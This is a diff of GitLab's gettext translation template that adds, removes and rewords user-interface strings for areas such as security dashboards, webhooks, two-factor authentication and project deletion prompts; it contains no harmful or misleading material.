msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
